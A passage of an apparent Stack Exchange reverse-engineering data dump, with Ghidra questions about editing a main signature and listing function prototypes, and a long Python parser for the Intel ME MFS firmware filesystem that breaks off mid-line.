  <row Id="24612" PostTypeId="1" AcceptedAnswerId="24613" CreationDate="2020-04-04T17:20:18.317" Score="3" ViewCount="2459" Body="&lt;p&gt;I'm new to ghidra.&#xA;I download the easy_reverse from &lt;a href=&quot;https://crackmes.one/crackme/5b8a37a433c5d45fc286ad83&quot; rel=&quot;nofollow noreferrer&quot;&gt;crackme.one&lt;/a&gt; and open the executable file in ghidra.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I'm trying to edit the &lt;code&gt;main&lt;/code&gt; function signature I get an error: &lt;code&gt;Can't parse name: argv[]&lt;/code&gt;.&#xA;I searched for this error but found nothing on Google/GitHub and I run out of ideas what to do next to solve it. I would appreciate any help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot (I use mac):&#xA;&lt;a href=&quot;https://i.stack.imgur.com/md7Nh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/md7Nh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28399" LastActivityDate="2020-04-04T17:41:22.717" Title="Ghidra error when edit main signature function" Tags="|c|ghidra|functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24613" PostTypeId="2" ParentId="24612" CreationDate="2020-04-04T17:41:22.717" Score="3" Body="&lt;p&gt;I continued to mess with it some more and found a way.&#xA;I correct the signature to have a pointer of argv:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(int argc, char **argv)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I don't really know why the pointer works and the standard C signature didn't. Hope for someone to clarify this.&lt;/p&gt;&#xA;" OwnerUserId="28399" LastActivityDate="2020-04-04T17:41:22.717" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24614" PostTypeId="1" AcceptedAnswerId="24615" CreationDate="2020-04-04T19:04:29.853" Score="1" ViewCount="3741" Body="&lt;p&gt;I have been trying to extract the function prototypes from a binary file using Ghidra. Up till now what I have done was to use Ghidra's included &quot;Decompile&quot; script and filtered out the function prototypes through the produced text file using python. However, this approach seems to be cumbersome and sometimes it fails to produce the intended results when the compiler options are changed. I feel that there may be a quicker way to get these. Given a binary, my requirement is to get all the function prototypes such as &lt;code&gt;float strtof_l(char *__nptr,char **__endptr,__locale_t __loc)&lt;/code&gt; without the function bodies. Is there any existing script to do this? Or is there a method in the API that I could loop upon. Thank you very much. &lt;/p&gt;&#xA;" OwnerUserId="31454" LastEditorUserId="33115" LastEditDate="2020-06-12T16:30:47.143" LastActivityDate="2020-06-12T16:30:47.143" Title="Way to get all the function prototype using Ghidra" Tags="|binary-analysis|firmware|radare2|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24615" PostTypeId="2" ParentId="24614" CreationDate="2020-04-04T19:38:51.093" Score="6" Body="&lt;p&gt;You can use &lt;a href=&quot;https://ghidra.re/ghidra_docs/api/ghidra/program/database/function/FunctionManagerDB.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;FunctionManager&lt;/code&gt;&lt;/a&gt; to get all the functions in the current program and then, from it iterate and get signatures of each.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fm = currentProgram.getFunctionManager()&#xA;functions = fm.getFunctions(True)&#xA;for f in functions:&#xA;  print(f.getSignature().getPrototypeString())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Signatures.py&amp;gt; Running...&#xA;char * strcpy(char * __dest, char * __src)&#xA;int mkdir(char * __path, __mode_t __mode)&#xA;int fclose(FILE * __stream)&#xA;int printf(char * __format, ...)&#xA;void * memset(void * __s, int __c, size_t __n)&#xA;void * memcpy(void * __dest, void * __src, size_t __n)&#xA;FILE * fopen(char * __filename, char * __modes)&#xA;char * strcat(char * __dest, char * __src)&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-04-04T19:38:51.093" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24616" PostTypeId="2" ParentId="23324" CreationDate="2020-04-04T22:20:08.743" Score="3" Body="&lt;p&gt;I was working on this this weekend.  Turns out it's pretty straight-forward.  Simple list of contiguous files. Just copies files when they change, and marks the allocation-table entries as dead, for later collection.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following is incomplete, but it should let you tweak and special-case your way through a specific MFS partition.  I've tried to document in comments where I've made large assumptions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT: There do seem to be metadata in the data.&lt;/strong&gt;  E.g., when looking at the content of UKS, the copy in the SCA partition is clearly &lt;code&gt;0E f4 00 00&lt;/code&gt; whereas in MFS, the data there is &lt;code&gt;80 06 0e f4 00 00&lt;/code&gt;, so it looks like there's &lt;em&gt;leading&lt;/em&gt; metadata.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2: Figured out the metadata.&lt;/strong&gt;  It gives a much better method for deterministically identifying files by number within a block than the method I devised without it.  Updated the code with a description and a rather complicated state-machine for successfully processing the metadata.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import sys&#xA;&#xA;#litte-endian integer readers&#xA;def read_leuint8(file):&#xA;    data = file.read(1)&#xA;    return data[0]&#xA;&#xA;def read_leuint16(file):&#xA;    data = file.read(2)&#xA;    return data[0] | (data[1] &amp;lt;&amp;lt; 8)&#xA;&#xA;def read_leuint24(file):&#xA;    data = file.read(3)&#xA;    return data[0] | (data[1] &amp;lt;&amp;lt; 8) | (data[2] &amp;lt;&amp;lt; 16)&#xA;&#xA;def read_leuint32(file):&#xA;    data = file.read(4)&#xA;    return data[0] | (data[1] &amp;lt;&amp;lt; 8) | (data[2] &amp;lt;&amp;lt; 16) | (data[3] &amp;lt;&amp;lt; 24)&#xA;&#xA;&#xA;class MEFileSystemFileMetadataStateMachine:&#xA;    &quot;&quot;&quot; &#xA;    MEFileSystemFileMetadata:&#xA;&#xA;    Files in MFS have internal metadata entries.  Each file begins with a metadata &#xA;    record, observed values are:&#xA;        0xa# &amp;lt;bytes ahead until next metadata&amp;gt;  &amp;lt;0x01&amp;gt; &amp;lt;next meta block num&amp;gt; &amp;lt;0x00&amp;gt;&#xA;        0xb# &amp;lt;blocks ahead until next metadata&amp;gt; &amp;lt;0x01&amp;gt; &amp;lt;next meta block num&amp;gt; &amp;lt;0x00&amp;gt;&#xA;        0x8# &amp;lt;bytes remaining in file (including this metadata)&amp;gt;&#xA;&#xA;    where&#xA;        #                   --  is the file number within the block.  This is the &#xA;                                target for the fno field of the allocation table &#xA;                                entry.&#xA;        &amp;lt;bytes ahead...&amp;gt;    --  the number of bytes to move ahead to find the next &#xA;                                metadata record (including this metadata).&#xA;        &amp;lt;next meta block...&amp;gt;--  the 0x100-byte block number where the next metadata &#xA;                                record is to be found. This value should be looked &#xA;                                up through the data-page's block-indirection table.&#xA;        &amp;lt;blocks ahead...&amp;gt;   --  the number of 0x100 byte blocks to move ahead to &#xA;                                find the next metadata record (including this &#xA;                                metadata).&#xA;        &amp;lt;bytes remaining...&amp;gt;--  pretty straight-forward.&#xA;&#xA;    So, 0x8# metadata are file-end records; 0xa# are short-range references; and &#xA;    0xb# are longer range references.  This metadata chain provides unamiguous file &#xA;    numbers within the blocks, and since they're put at the block start of any &#xA;    block that contains a file-start, it's easy to pick up from an allocation table &#xA;    reference.&#xA;&#xA;    Note: 0x8# records don't point to the next metadata block, so we may have to &#xA;    consume file-end padding (0xff until the next multiple of 0x10) if we get an &#xA;    intermediate 0x8# metadata while searching for our target file.&#xA;    &quot;&quot;&quot;&#xA;    STATE_NEED_META = 0&#xA;    STATE_NEED_SKIP_DATA = 1&#xA;    STATE_NEED_FILE_DATA = 2&#xA;    STATE_COMPLETE = 3&#xA;&#xA;    def __init__(self, file_no, file_len):&#xA;        self.file_no = file_no&#xA;&#xA;        self.state = MEFileSystemFileMetadataStateMachine.STATE_NEED_META&#xA;        self.bytes_needed = 1&#xA;        self.byte_offset = 0&#xA;        self.cur_meta = bytearray(5)&#xA;        self.file_data = bytearray(file_len)&#xA;        self.file_filled = 0&#xA;        self.found_fileno = False&#xA;&#xA;        self.work_buf = self.cur_meta&#xA;&#xA;    def is_complete(self):&#xA;        return self.state == self.STATE_COMPLETE&#xA;&#xA;    def get_file_data(self):&#xA;        return self.file_data&#xA;&#xA;    def get_bytes_needed(self):&#xA;        return self.bytes_needed&#xA;&#xA;    #returns the number of bytes consumed&#xA;    def add_bytes(self, bytes, start_index, data_len=None, log_file = None):&#xA;        &quot;&quot;&quot;&#xA;        supplies data to satisfy the state-machine's need for data as reported&#xA;        via get_bytes_needed().&#xA;&#xA;        bytes       -- the buffer containing the bytes to be fed in&#xA;        start_index -- the start location of the bytes within the buffer&#xA;        data_len    -- number of bytes in the array, starting at start_index.&#xA;                       if None, then len(bytes) - start_index is assumed&#xA;        &quot;&quot;&quot;&#xA;&#xA;        #shuffling data from potentially multiple calls to fill the data request from the &#xA;        #state machine (get_bytes_needed)&#xA;        data_len = len(bytes) - start_index if data_len is None else data_len&#xA;&#xA;        if data_len == 0: return 0 # nothing to do&#xA;&#xA;        #take the min of what's available and what we need&#xA;        to_copy = data_len if data_len &amp;lt; self.bytes_needed else self.bytes_needed&#xA;        if self.work_buf:&#xA;            self.work_buf[self.byte_offset:(self.byte_offset+to_copy)] = bytes[start_index:(start_index+to_copy)]&#xA;            self.byte_offset = self.byte_offset + to_copy&#xA;        self.bytes_needed = self.bytes_needed - to_copy&#xA;&#xA;        #if we don't have enough to process, return so they can feed more&#xA;        if self.bytes_needed &amp;gt; 0:&#xA;            return to_copy&#xA;&#xA;        #we only make it this far once we've got the full bytes_needed data&#xA;&#xA;        meta_type = self.cur_meta[0] &amp;amp; 0xf0&#xA;        if self.state == self.STATE_NEED_META:&#xA;            if self.byte_offset == 1:&#xA;                if meta_type in [0xa0, 0xb0]:&#xA;                    self.bytes_needed = 4&#xA;                else:&#xA;                    self.bytes_needed = 1&#xA;            else:&#xA;                #Have we found the file number we seek yet?&#xA;                if self.found_fileno or (self.file_no == self.cur_meta[0] &amp;amp; 0x0f):&#xA;                    self.found_fileno = True&#xA;                    self.state = self.STATE_NEED_FILE_DATA&#xA;                    self.work_buf = self.file_data&#xA;                    self.byte_offset = self.file_filled&#xA;                else:&#xA;                    self.state = self.STATE_NEED_SKIP_DATA&#xA;                    self.work_buf = None&#xA;                    self.byte_offset = None&#xA;&#xA;                #determine the data required based on metadata type, and whether we're&#xA;                #skipping (so need to eat EOF padding on type 0x8# entries) or whether&#xA;                #we're copying out file data.&#xA;                if meta_type == 0x80:&#xA;                    if self.state == self.STATE_NEED_SKIP_DATA:&#xA;                        #if we're skipping a 0x8# entry, we need to eat EOF padding too&#xA;                        padding = (0x10 - (self.cur_meta[1] &amp;amp; 0xf)) &amp;amp; 0xf&#xA;                        self.bytes_needed = padding + self.cur_meta[1] - 2 #remove header len, too&#xA;                    else:&#xA;                        self.bytes_needed = self.cur_meta[1] - 2 #remove header len&#xA;                elif meta_type == 0xa0:&#xA;                    self.bytes_needed = self.cur_meta[1] - 5 #remove header len&#xA;                elif meta_type == 0xb0:&#xA;                    self.bytes_needed = self.cur_meta[1] * 0x100 - 5 #remove header len&#xA;                else:&#xA;                    if log_file:&#xA;                        log_file.write(&quot;That's not a metadata type I've seen before...: 0x%02x\n&quot; % self.cur_meta[0])&#xA;                    return None&#xA;&#xA;        elif self.state == self.STATE_NEED_SKIP_DATA: #recall: this is the state just *completed*&#xA;            self.state = self.STATE_NEED_META&#xA;            self.work_buf = self.cur_meta&#xA;            self.byte_offset = 0&#xA;            self.bytes_needed = 1&#xA;&#xA;        elif self.state == self.STATE_NEED_FILE_DATA: #recall: this is the state just *completed*&#xA;            self.file_filled = self.byte_offset&#xA;            self.state = self.STATE_NEED_META&#xA;            self.work_buf = self.cur_meta&#xA;            self.byte_offset = 0&#xA;            if meta_type == 0x80: #just completed a file-end record...we're done.&#xA;                self.bytes_needed = 0&#xA;                self.state = self.STATE_COMPLETE&#xA;            elif meta_type in [0xa0, 0xb0]:&#xA;                self.bytes_needed = 1&#xA;            else:&#xA;                if log_file:&#xA;                    log_file.write(&quot;That's not a metadata type I've seen before...: 0x%02x\n&quot; % self.cur_meta[0])&#xA;                return None&#xA;&#xA;        elif self.state == self.STATE_COMPLETE: #can't leave this state&#xA;            pass&#xA;&#xA;        else:&#xA;            if log_file:&#xA;                log_file.write(&quot;Bad state-machine state: %d\n&quot; % self.state)&#xA;&#xA;        #recurse to consume as much as we can, for easier calling convention&#xA;        if to_copy &amp;lt; data_len:&#xA;            return  to_copy + add_bytes(bytes, start_index+to_copy, data_len-to_copy)&#xA;&#xA;        #else, return what we consumed&#xA;        return to_copy&#xA;&#xA;&#xA;def read_me_fs_file(file_no, file_len, me_file, log_file = sys.stdout):&#xA;    sm = MEFileSystemFileMetadataStateMachine(file_no, file_len)&#xA;&#xA;    while not sm.is_complete():&#xA;        res = sm.add_bytes(&#xA;            bytes=me_file.read(sm.get_bytes_needed()), &#xA;            start_index=0,    &#xA;            data_len=None, #shorthand for len(bytes)-start_index&#xA;            log_file=log_file)&#xA;        if not res:&#xA;            log_file.write(&quot;Aborting file read.\n&quot;)&#xA;            break&#xA;&#xA;    return sm.get_file_data()&#xA;&#xA;class MEFileSystemDataHeader:&#xA;    &quot;&quot;&quot;&#xA;    Data Page Header: (Top of a 0x4000-byte data page in the MFS)&#xA;           0     1     2     3     4     5     6     7     8     9     a     b     c     d     e     f&#xA;        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+&#xA;     00 | pgno|     pgflags     | 0x00| 0x00| 0x00| 0x00| mystery bits                                  | &#xA;        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+&#xA;     10 | freed_flags...                                                                                |&#xA;        +-----------------------------------------------------------------------------------------------+&#xA;    ... | ...                                                                                           |&#xA;        +-----------------------------------------------------------------------------------------------+&#xA;     80 | ...                                                                                           |&#xA;        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+&#xA;     90 | block indirection table...                                                                    |&#xA;        +-----------------------------------------------------------------------------------------------+&#xA;    ... | ...                                                                                           |&#xA;        +-----------------------------------------------------------------------------------------------+&#xA;     c0 | ...                                                                                           |&#xA;        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+&#xA;     d0+| (file data follows)                                                                           |&#xA;        +-----------------------------------------------------------------------------------------------+&#xA;&#xA;    pgno       -- page identifier within the MFS.  All MFS page headers &#xA;                  have this field, be they AT or Data.&#xA;    pgflags    -- have seen 0x78 0xfe 0xff for AT header. Data pages have&#xA;                  had this or 0x78 0xfc 0xff.&#xA;    (zeros)    -- a useless value for flash...must be part of the signature&#xA;                  of the header?  Or reserved region for later version of&#xA;                  the format.&#xA;    myst_bits  -- TBD&#xA;    freed_flags-- each bit marks whether a written 0x10-byte chunk is no &#xA;                  longer required.  Bits exist for the header chunks, as&#xA;                  well as the chunks for file data.  lsb of the first byte&#xA;                  corresponds to the first chunk of the header. 0=freed.&#xA;    blk_itab   -- translates ATFileEntry's okey value into a block offset &#xA;                  within the data page.  offset = blk_itab[okey] * 0x100.&#xA;                  This is the location from which to begin the search. Note&#xA;                  that an offset of 0 must still respect that the page&#xA;                  header consumes bytes [0x00, 0xd0) for the search.&#xA;    (filedata) -- File are padded with 0xff at the end. Note files&#xA;                  have internal metadata.  See routines above.&#xA;    &quot;&quot;&quot;&#xA;&#xA;    def __init__(self, page_no, flags, bytes_00000000, myst_bits, freed_flags, blk_itab):&#xA;        self.page_no = page_no&#xA;        self.flags = flags&#xA;        self.zeros_good = bytes_00000000 == b'\x00\x00\x00\x00'&#xA;        self.myst_bits = myst_bits&#xA;        self.freed_flags = freed_flags&#xA;        self.blk_itab = blk_itab&#xA;&#xA;    def debug_print(self, log = sys.stdout):&#xA;        log.write(&quot;Debug Print of MEFileSystemDataHeader %x:\n&quot; % id(self))&#xA;        if self.page_no != 0xff:&#xA;            log.write(&quot;  page no: 0x%x\n&quot; % self.page_no)&#xA;            log.write(&quot;  flags: 0x%06x\n&quot; % self.flags)&#xA;            log.write(&quot;  zeros good: %s\n&quot; % str(self.zeros_good))&#xA;            log.write(&quot;  mystery bits: %s\n&quot; % &quot; &quot;.join(&quot;%02x&quot;%x for x in self.myst_bits))&#xA;            log.write(&quot;  freed_flags: %s\n&quot; % &quot;&quot;.join(&quot;%02x&quot;%x for x in self.freed_flags))&#xA;            log.write(&quot;  block ind. tab.: [%s]\n&quot; % &quot; &quot;.join(&quot;%02x&quot;%x for x in self.blk_itab))&#xA;        else:&#xA;            log.write(&quot;  (empty)\n&quot;)&#xA;&#xA;&#xA;class MEFileSystemATEntry:&#xA;    &quot;&quot;&quot;&#xA;    Allocation Table Entry:&#xA;        0     1     2     3     4     5     6     7     8     9     a     &#xA;        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+&#xA;     00 |state| flgs|    identifier   | type|  filelen  | pgid| okey| fno |&#xA;        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+&#xA;&#xA;    state      -- status of the entry: 0xdc=present; &#xA;                  0xc8=overwritten(i.e., there will be another entry below)&#xA;    flags      -- has value 0xf0 in every example...so hard to tell.&#xA;    identifier -- 3-byte identifier...seem to be a preference for ASCII,&#xA;                  but there are counterexamples&#xA;    type       -- no idea...maybe permissions?  Observed values:&#xA;                  0x00, 0x0a, 0x0c, 0x0d, 0x0e, 0x18, 0x1a&#xA;    filelen    -- 16-bit, little endian.  actual content seems to be a few&#xA;                  bytes more...might just be pollution of the structures&#xA;                  used to write the file.&#xA;    pgid       -- the pgno for the MEFileSystemDataHeader that holds the &#xA;                  data.  The ATHeader is numbered 0, each data page seems&#xA;                  to get sequentially numbered in my examples, though that &#xA;                  could change with more use. 0xff indicates &quot;not&#xA;                  yet used / nonumber assigned&quot; --- a fact that hints page&#xA;                  numbers aren't guaranteed to be sequentially&#xA;    okey       -- key for indexing the block_indirection table of the&#xA;                  MEFileSystemDataHeader holding this file's content, to &#xA;                  find the right 0x100 byte block from which to start the&#xA;                  file search according to the 'fno' field.&#xA;    fno        -- file number within the block-offset determined from okey. &#xA;                  This is to be looked up using the metadata *within* the &#xA;                  file data of the data pages.  See &#xA;                  MEFileSystemFileMetadataStateMachine above&#xA;    &quot;&quot;&quot;&#xA;    def __init__(self, state, flags, identifier, type, filelen, pgid, okey, fno):&#xA;        self.state = state&#xA;        self.flags = flags&#xA;        self.identifier = identifier&#xA;        self.type = type&#xA;        self.filelen = filelen&#xA;        self.pgid = pgid&#xA;        self.okey = okey&#xA;        self.fno = fno&#xA;&#xA;    def debug_print(self, log = sys.stdout):&#xA;        log.write(&quot;%15s len=0x%04x [pg=0x%02x k=0x%02x f=0x%02x] ty=0x%02x st=0x%02x, fg=0x%02x&quot; % (str(self.identifier), self.filelen, self.pgid, self.okey, self.fno, self.type, self.state, self.flags))&#xA;&#xA;class MEFileSystemATHeader:&#xA;    &quot;&quot;&quot;&#xA;    Allocation Table Header:&#xA;           0     1     2     3     4     5     6     7     8     9     a     b     c     d     e     f&#xA;        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+&#xA;     00 | pgno|      flags      | 0x00| 0x00| 0x00| 0x00|&quot;MFS\0&quot;                |bitfields?             | &#xA;        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+&#xA;     10 | bitfields?            |&#xA;        +-----+-----+-----+-----+&#xA;&#xA;    pgno       -- page identifier within the MFS.  All MFS page headers &#xA;                  have this field, be they AT or Data.&#xA;    flags      -- have seen 0x78 0xfe 0xff for AT header. Data pages have&#xA;                  had this or 0x78 0xfc 0xff.&#xA;    (zeros)    -- a useless value for flash...must be part of the signature&#xA;                  of the header?  Or reserved region for later version of&#xA;                  the format.&#xA;    &quot;MFS\0&quot;    -- ASCIIZ signature for the MFS AT Header&#xA;    bitfields  -- 64 bits of apparent bitfields&#xA;    &quot;&quot;&quot;&#xA;&#xA;    max_files = int((0x4000 - 0x14) / 11) #page size, less the header, divided by file entry size&#xA;&#xA;    def __init__(self, page_no, flags, bytes_00000000, sig, bitfields): &#xA;        self.page_no = page_no&#xA;        self.flags = flags&#xA;        self.zeros_good = bytes_00000000 == b'\x00\x00\x00\x00'&#xA;        self.sig_good = sig == b'MFS\x00'&#xA;        self.bitfields = bitfields&#xA;&#xA;    def debug_print(self, log = sys.stdout):&#xA;        log.write(&quot;Debug Print of MEFileSystemATHeader %x:\n&quot; % id(self))&#xA;        log.write(&quot;  page no: 0x%x\n&quot; % self.page_no)&#xA;        log.write(&quot;  flags: 0x%06x\n&quot; % self.flags)&#xA;        log.write(&quot;  zeros good: %s\n&quot; % str(self.zeros_good))&#xA;        log.write(&quot;  sig good: %s\n&quot; % str(self.sig_good))&#xA;        log.write(&quot;  bitfields: %s\n&quot; % &quot; &quot;.join(&quot;%02x&quot;%x for x in self.bitfields))&#xA;&#xA;class MEFileSystemAT:&#xA;    &quot;&quot;&quot;&#xA;    Allocation Table (a 0x4000-byte page in the MFS):&#xA;           0     1     2     3     4     5     6     7     8     9     a     b     c     d     e     f&#xA;        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+&#xA;     00 | Allocation Table Header...                                                                    |             &#xA;        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+&#xA;     10 |...                    | File Entry                                                      |FE...|&#xA;        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+&#xA;     ...|...                                                                                            |             &#xA;        +-----------------------------------------------------------------------------------+-----+-----+&#xA;    3fe0|...                                                                                |File Ent...|            &#xA;        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+&#xA;    3ff0|...                                                  |Padding                                  |             &#xA;        +-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+-----+&#xA;    &quot;&quot;&quot;&#xA;&#xA;    def __init__(self, header, entry_list):&#xA;        self.header = header&#xA;        self.entry_list = entry_list&#xA;&#xA;    def debug_print(self, log = sys.stdout):&#xA;        log.write(&quot;Debug Print of MEFileSystemAT %x:\n&quot; % id(self))&#xA;        self.header.debug_print(log)&#xA;&#xA;        log.write(&quot;File entries:\n&quot;)&#xA;        for ent in self.entry_list:&#xA;            if(ent):&#xA;                log.write(&quot;  &quot;)&#xA;                ent.debug_print(log)&#xA;                log.write(&quot;\n&quot;)&#xA;&#xA;class MEFileSystem:&#xA;    &quot;&quot;&quot;&#xA;    MFS Partition: (Making the assumption the AT is the first page)&#xA;         +------------------------------------+&#xA;    0000 | Allocation Table                   |&#xA;         +------------------------------------+&#xA;    4000 | Data Page                          |&#xA;         +------------------------------------+&#xA;    8000 | Data Page                          |&#xA;         +------------------------------------+&#xA;    c000 | Data Page                          |&#xA;         +------------------------------------+&#xA;    ...  |...                                 |&#xA;         +------------------------------------+&#xA;    &quot;&quot;&quot;&#xA;&#xA;    def __init__(self, allocation_table, data_page_list):&#xA;        self.allocation_table = allocation_table&#xA;        self.data_page_list = data_page_list&#xA;&#xA;    def debug_print(self, log = sys.stdout):&#xA;        log.write(&quot;Debug Print of MEFileSystem %x:\n&quot; % id(self))&#xA;        self.allocation_table.debug_print(log)&#xA;&#xA;        for page in self.data_page_list:&#xA;            if(page):&#xA;                page.debug_print(log)&#xA;            else:&#xA;                log.write(&quot;(Not parsed)\n&quot;)&#xA;&#xA;def parse_me_fs_at_entry(me_file, log_file = sys.stdout):&#xA;    return MEFileSystemATEntry(&#xA;        state = read_leuint8(me_file),&#xA;        flags = read_leuint8(me_file),&#xA;        identifier = me_file.read(3),&#xA;        type = read_leuint8(me_file),&#xA;        filelen = read_leuint16(me_file),&#xA;        pgid = read_leuint8(me_file),&#xA;        okey = read_leuint8(me_file),&#xA;        fno = read_leuint8(me_file))&#xA;&#xA;def parse_me_fs_at_header(me_file, log_file = sys.stdout):&#xA;    return MEFileSystemATHeader(&#xA;        page_no = read_leuint8(me_file),&#xA;        flags = read_leuint24(me_file),&#xA;        bytes_00000000 = me_file.read(4),&#xA;        sig = me_file.read(4),&#xA;        bitfields = me_file.read(8))&#xA;&#xA;def parse_me_fs_at(me_file, log_file = sys.stdout):&#xA;    hdr = parse_me_fs_at_header(me_file, log_file)&#xA;&#xA;    entry_list = [None] * MEFileSystemATHeader.max_files&#xA;    for i in range(MEFileSystemATHeader.max_files):&#xA;        ent = parse_me_fs_at_entry(me_file, log_file)&#xA;        if ent.state == 0xff:&#xA;            break&#xA;        entry_list[i] = ent&#xA;&#xA;    return MEFileSystemAT(hdr, entry_list)&#xA;&#xA;&#xA;def parse_me_fs_data_header(me_file, log_file = sys.stdout):&#xA;    return MEFileSystemDataHeader(&#xA;        page_no = read_leuint8(me_file),&#xA;        flags = read_leuint24(me_file),&#xA;        bytes_00000000 = me_file.read(4),&#xA;        myst_bits = me_file.read(0x8),&#xA;        freed_flags = me_file.read(0x80),&#xA;        blk_itab = me_file.read(0x40))&#xA;&#xA;def parse_me_fs(length, me_file, log_file = sys.stdout):&#xA;    &quot;&quot;&quot;&#xA;    ARGS:&#xA;       length -- length in bytes of the ME partition holding the MFS/MFSB data&#xA;       me_file -- a file handle whose present position is the start of the MFS(B) partition&#xA;       log_file -- if there is diagnostic output, put it here&#xA;&#xA;    RETURNS:&#xA;       an MEFileSystem instance populated with the allocation table and data-page headers&#xA;    &quot;&quot;&quot;&#xA;&#xA;    total_pages = int(length/0x4000)&#xA;    start_offset = me_file.tell()&#xA;&#xA;    #NOTE: I'm presuming the allocation table is the first page...&#xA;    #that might not be reliable...&#xA;    at = parse_me_fs_at(me_file, log_file)&#xA;&#xA;    data_pages = [None] * (total_pages-1)&#xA;    for page in range(0, total_pages-1):&#xA;        me_file.seek(start_offset + 0x4000 * (page+1))&#xA;        data_pages[page] = parse_me_fs_data_header(me_file, log_file)&#xA;&#xA;    return MEFileSystem(&#xA;        allocation_table=at, &#xA;        data_page_list = data_pages)&#xA;&#xA;&#xA;def get_mfs_file(mefs, me_file, mfs_file_offset, id, log_file = sys.stdout):&#xA;    &quot;&quot;&quot;&#xA;    Example of how to use the MEFileSystem structures to retrieve&#xA;    MFS and MFSB files.&#xA;&#xA;    ARGS:&#xA;        mefs -- a MEFileSystem instance parsed from mfs_data&#xA;        me_file -- a filehandle containing the ME image&#xA;        mfs_file_offset -- the file offset within me_file where the MFS partition begins&#xA;        id -- a 3-byte byte array with the file identifier&#xA;        log -- if there is diagnostic output, put it here&#xA;&#xA;    RETURNS:&#xA;        an array containing [state, The data from the corresponding file].&#xA;        else None if the file identifier does not exist within the data.&#xA;&#xA;    Example driver, given the known offset and size for a MFS partition:&#xA;        MFS_OFFSET = 0x64000 #typical location&#xA;        MFS_LENGTH = 0x40000 #typical size&#xA;        spi_image_file.seek(MFS_OFFSET)&#xA;        mefs = parse_me_fs(MFS_LENGTH, spi_image_file)&#xA;        result_tuple = get_mfs_file(mefs, spi_image_file, MFS_OFFSET, b'UKS')&#xA;        if result_tuple:&#xA;            print(&quot;State: %x, data: %s\n&quot; % tuple(result_tuple))&#xA;    &quot;&quot;&quot;&#xA;&#xA;    #Find the file identifer in the Allocation Table&#xA;    best_ent = None&#xA;    for ent in mefs.allocation_table.entry_list:&#xA;        if ent and ent.identifier == id:&#xA;            best_ent = ent&#xA;&#xA;            if ent.state == 0xdc:&#xA;                break; # got a current entry&#xA;&#xA;            log.write(&quot;Error: found an item w/ state %02x...continuing\n&quot; % ent.state)&#xA;&#xA;    #if found, lookup which data page matches the entry's pgid value&#xA;    if best_ent:&#xA;        page_found = False&#xA;&#xA;        for list_idx in range(len(mefs.data_page_list)):&#xA;            page = mefs.data_page_list[list_idx]&#xA;&#xA;            if page.page_no == best_ent.pgid:&#xA;                page_found = True&#xA;&#xA;                #we found the right data page, so start the file search&#xA;&#xA;                search_start = page.blk_itab[best_ent.okey] * 0x100&#xA;&#xA;                #In the following lines:&#xA;                #  The value d0 is to skip over the datapage header if we're in the first block&#xA;                #&#xA;                #  The multiple of 0x4000 selects the data offset that goes with list_idx&#xA;                #  since the parsed data-page list is in the same order as found in the file.&#xA;                #&#xA;                #  Because mefs.data_page_list doesn't include the allocation table page, we +1 &#xA;                #  to the index before multiplying.  The result is a set of offsets into the MFS data&#xA;                #  bounding the file search&#xA;                ##&#xA;                search_off = 0x4000 * (list_idx+1) + (0xd0 if search_start == 0 else search_start)&#xA;&#xA;                me_file.seek(mfs_file_offset + search_off)&#xA;                data = read_me_fs_file(best_ent.fno, best_ent.filelen, me_file, log_file)&#xA;                if data:&#xA;                    return [best_ent.state, data]&#xA;&#xA;    return None&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    with open(&quot;image.bin&quot;, &quot;rb&quot;) as spi_image_file:&#xA;        MFS_OFFSET = 0x64000 #typical location&#xA;        MFS_LENGTH = 0x40000 #typical size&#xA;        spi_image_file.seek(MFS_OFFSET)&#xA;        mefs = parse_me_fs(MFS_LENGTH, spi_image_file)&#xA;&#xA;        #Dump the allocation table&#xA;        mefs.allocation_table.debug_print()&#xA;        print(&quot;&quot;)&#xA;&#xA;        first_file = 